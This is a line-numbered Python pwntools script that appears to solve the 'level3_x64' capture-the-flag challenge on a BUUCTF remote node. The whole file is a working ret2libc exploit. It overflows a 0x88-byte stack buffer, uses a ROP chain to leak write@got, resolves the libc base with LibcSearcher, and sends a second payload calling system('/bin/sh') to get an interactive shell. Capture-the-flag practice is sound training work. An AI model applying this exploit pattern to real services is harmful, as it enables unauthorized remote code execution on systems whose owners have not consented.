1.  #coding=utf8
    2. from pwn import *
    3. from LibcSearcher import*
    4. context.log_level = 'debug'
    5. def debug():
    6.     gdb.attach(io)
    7.     pause()
    8. #io =process('./level3_x64')
    9. io = remote("node4.buuoj.cn",25798)
    10. elf =ELF('./level3_x64')
    11. pop_rdi = 0x00000000004006b3
    12. pop_rsi_r15 =0x00000000004006b1    
    14. write_got = elf.got['write']
    15. write_plt = elf.plt['write']
    16. main_addr = elf.sym['main']
    17. #gdb.attach(io)
    18. payload = b'a'*0x88+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
    19. io.recvuntil('Input:\n')
    20. io.sendline(payload)
    21. #pause()
    22. write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    23. log.success("addr:"+hex(write_addr))
    24. libc = LibcSearcher('write',write_addr)
    25. libc_base = write_addr-libc.dump('write')
    26. log.success('addr:'+hex(libc_base))
    27. system_addr = libc_base+libc.dump('system')
    28. log.success('addr:'+hex(system_addr))
    29. bin_sh = libc_base+libc.dump('str_bin_sh')
    30. payload =b'a'*0x88+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
    31. io.recvuntil('Input:\n')
    32. io.sendline(payload)
    33. #pause()
    34. io.interactive()